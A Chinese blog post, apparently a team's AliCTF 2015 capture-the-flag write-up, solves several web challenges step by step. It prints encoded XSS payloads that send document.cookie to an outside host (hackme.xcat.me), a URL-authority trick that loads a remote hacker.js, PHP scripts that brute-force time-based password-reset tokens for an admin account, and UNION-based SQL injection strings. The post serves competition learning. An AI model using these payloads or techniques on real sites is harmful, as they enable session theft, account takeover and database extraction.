alictf 2015 writeup - 部分web

因为我是做web的,我就把我们队的writeup中的web部分放出来。虽然做的题不多,不过web原分值加起来也超过了一千分。恩,下次继续加油。

注意:图看不清的请自行右键新窗口打开图片。。。

WEB

前端初赛题1(http://089d9b2b0de6a319.alictf.com/?token=35b743a761c47d9bd23a3473db068759)

 

         XSS题,首先交个alert试试,看看都过滤了啥。

1.jpg

         恩,过滤了括号。试试location都过滤了啥。

2.jpg

         大概知道了这个题过滤了( ) = . “ 这几个符号,不过放过了尖括号。那就想起来矢量图<svg>bypass神标签。将<script>里面的函数用html实体编码,然后url编码下,成功弹窗。

3.jpg

         接下来就是payload了:

http://089d9b2b0de6a319.alictf.com/xss.php?name=<svg><script>%26%23%78%36%63%3b%26%23%78%36%66%3b%26%23%78%36%33%3b%26%23%78%36%31%3b%26%23%78%37%34%3b%26%23%78%36%39%3b%26%23%78%36%66%3b%26%23%78%36%65%3b%26%23%78%32%65%3b%26%23%78%36%38%3b%26%23%78%37%32%3b%26%23%78%36%35%3b%26%23%78%36%36%3b%26%23%78%33%64%3b%26%23%78%32%32%3b%26%23%78%36%38%3b%26%23%78%37%34%3b%26%23%78%37%34%3b%26%23%78%37%30%3b%26%23%78%33%61%3b%26%23%78%32%66%3b%26%23%78%32%66%3b%26%23%78%36%38%3b%26%23%78%36%31%3b%26%23%78%36%33%3b%26%23%78%36%62%3b%26%23%78%36%64%3b%26%23%78%36%35%3b%26%23%78%32%65%3b%26%23%78%37%38%3b%26%23%78%36%33%3b%26%23%78%36%31%3b%26%23%78%37%34%3b%26%23%78%32%65%3b%26%23%78%36%64%3b%26%23%78%36%35%3b%26%23%78%32%66%3b%26%23%78%37%38%3b%26%23%78%37%33%3b%26%23%78%37%33%3b%26%23%78%32%65%3b%26%23%78%37%30%3b%26%23%78%36%38%3b%26%23%78%37%30%3b%26%23%78%33%66%3b%26%23%78%37%31%3b%26%23%78%33%64%3b%26%23%78%32%32%3b%26%23%78%32%62%3b%26%23%78%36%34%3b%26%23%78%36%66%3b%26%23%78%36%33%3b%26%23%78%37%35%3b%26%23%78%36%64%3b%26%23%78%36%35%3b%26%23%78%36%65%3b%26%23%78%37%34%3b%26%23%78%32%65%3b%26%23%78%36%33%3b%26%23%78%36%66%3b%26%23%78%36%66%3b%26%23%78%36%62%3b%26%23%78%36%39%3b%26%23%78%36%35%3b</script>

其中<script>标签里解码后的内容为为:

location.href="http://hackme.xcat.me/xss.php?q="+document.cookie

 

 

 

简单业务逻辑(http://079416191c2ab09a48a37e5bba817eb8.alictf.com/fc35fdc70d5fc69d269883a822c7a53e/index.php?token=35b743a761c47d9bd23a3473db068759)

 

         看了下先随意点了几个按钮,看了看源码。点到shop的时候弹窗必须是Admin。于是看了看源码有木有提示信息。终于在register里看到了点信息。

4.jpg

         可以看到shophref只是#,所以应该是session判断页面输出。底下的php代码证明验证重复的时候没有trim(),那么就可以简单加个空格绕过喽。注册用户名Admin[空格],登陆以后进入shop,发现最贵的钱根本不够,尝试buy,抓取http包。

5.jpg

         发现post过去有id参数。怀疑有可能有注入。在POST id=6 and 1=2 flag

6.jpg

 

 

前端初赛题2(http://8dd25e24b4f65229.alictf.com/?token=35b743a761c47d9bd23a3473db068759)

 

         Flash XSS,先打开一片乌云的文章作参考。重点已被我圈出来。

7.jpg

         逆向SWF得到AS代码。发现可控变量为debug

8.jpg

。不过有个很讨厌的for循环把可控变量注销了。上面的文章给了提示。不过百分号后面不能是井号,否则弹不会cookie。还有一点是因为用的函数是Console.debug,后面自己构造的异常处理如果能执行的话要写个没有语法错误的异常。我的办法是加了个debug(error),造成undefined的异常,成功弹窗。

Hack Blog

         接下来是payload

http://8dd25e24b4f65229.alictf.com/swf.swf?%*debug=\"%2bdebug(error)))}catch(e){eval(unescape(

%6c%6f%63%61%74%69%6f%6e%2e%68%72%65%66%3d%27%68%74%74%70%3a%2f%2f%68%61%63%6b%6d%65%2e%78%63%61%74%2e%6d%65%2f%78%73%73%2e%70%68%70%3f%71%3d%27%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65))}//

         其中unescape之后的明文为:

location.href='http://hackme.xcat.me/xss.php?q='+document.cookie

 

 

业务逻辑和渗透(http://jinan.alictf.com/?token=35b743a761c47d9bd23a3473db068759)

 

         看到这个题难度降低了,就回来试了试。看来是加密算法改了。随意注册了个用户找回密码。发现了两个问题。Token这个词太敏感,第一感觉就是时间戳加密过来的。第二个就是这个编码和QQ邮箱的不一样,导致框架下成了乱码(这点不重要)

9.jpg

         回去看看网页源码,发现了服务器时间和一段key。目测加密的token和这个key有关。

10.jpg


         经过key和时间为一分钟内的时间戳组合MD5加密爆破测试,测试结果中没有token。猜测可能与用户名有关。于是再次爆破一分钟以内的时间戳,在结果中得到了token

11.jpg


爆破代码如下:

<?php
 
$key = "673f3e705c8d5b7af675f309e58d46c9";
$res = "";
for($i = 1427615640;$i < 1427615700;$i++){
         $res = md5("9".$key.$i);
         echo $res."\n";
}
?>

         对着源码中的服务器时间给admin发邮件,换算成时间戳通过代码生成一系列的MD5。挨个请求得到token

代码如下:

<?php
$key = "673f3e705c8d5b7af675f309e58d46c9";
$res = "";
for($i = 1427618820;$i < 1427618880;$i++){
         $res = md5("admin".$key.$i);
         echo $res."\n";
}
?>

成功修改admin密码以后登录,发现提示异地登录。本以为是考X-Forwarded-For,各种改,发现无果。用万能的VPN,找了个济南的服务器,再次登录,出现flag(此处无技术含量,不截图了)。

 

 

前端初赛题3(http://ef4c3e7556641f00.alictf.com/?token=35b743a761c47d9bd23a3473db068759)

 

         看到这么长的js,惊呆了。经过比较长的时间和测试,主要发现的是每个pos都用indexof来单次获取。这就意味着只获取到了字符第一次出现的位置。一开始想用 “\” 来绕过 “/”authority的影响,发现失败了。就尝试二次使用@来实现authority欺骗和域名欺骗。具体测试页面和payload如下。

12.jpg


以及在Chrome上的console证明xss成功的请求

13.jpg

       

Payload

http://ef4c3e7556641f00.alictf.com/xss.php?http://hackme.xcat.me@notexist.example.com:@hackme.xcat.me/hacker.js

 

 

简单业务逻辑2(http://cbcd512994370fc3d6a05eb9a73b31e9.alictf.com/dba8880fbcc025266576950828b2c4a7/index.php?token=35b743a761c47d9bd23a3473db068759)

 

         直接截图看重点

14.jpg


         可疑的cookie,目测用来验证当前用户。然后就是这两个函数了。为了验证这个可疑的cookie变量,自己搭一个php,看看是不是64位长度。

15.jpg


         其中上图的de变量值为当时做题的值。

         接下来就考虑要爆破出来$V,既然是$rnd = md5(substr(microtime(),11));时间戳,那我假设我本地的时间和服务器时间的误差值为2-3分钟。那么就可以写脚本爆破。因为异或可逆,所以把base64解码后的字符串逐个字符与可能的$rnd进行异或,把异或出来的结果保存,因为$V = md5('??????'); $V .= strrev($V); 那么结果肯定是个MD5,正则匹配[0-9a-z]{32}即可。

截图如下

16.jpg

         将得到的结果正则匹配下

17.jpg

         将字符串放到cmd5解密,提示是MD5r,证明是逆序的MD5。明文是lanlan

接下来要解出被加密的明文是什么格式了。知道了$rnd$V,那就直接能异或出明文了。代码截图如下。

Hack Blog

18.jpg

         解出明文为Guest。那么可直接猜测管理员用户为Admin。改改原网页给的函数,加密出来就OK。截图如下。

19.jpg

         将加密后的字符串替换role值,点击article。提示nothing in cookie!查看response包,有set-cookie: article=i%3A1%3B。目测article的值是经过serialize处理过的。看到这个就想起了注入。写个php方便serialize

<?php
echo urlencode(serialize($_GET['sqli']));
?>

那么就尝试注入了。联合查询出页面输出的是第二个字段。那么假设有flag表,直接查试试。Payload1 and 1=2 union select 1,flag from flag出了flag


后记:我感觉web做的还算不错,不过没搞出高分题也是可惜。队伍里二进制能力也不是很强,最后才14名无缘决赛,也是可惜。。。


本文由Hack Blog原创,如需转载注明原文链接

作者:落 分类:日常笔记 浏览:3762 评论:0
留言列表
发表评论
来宾的头像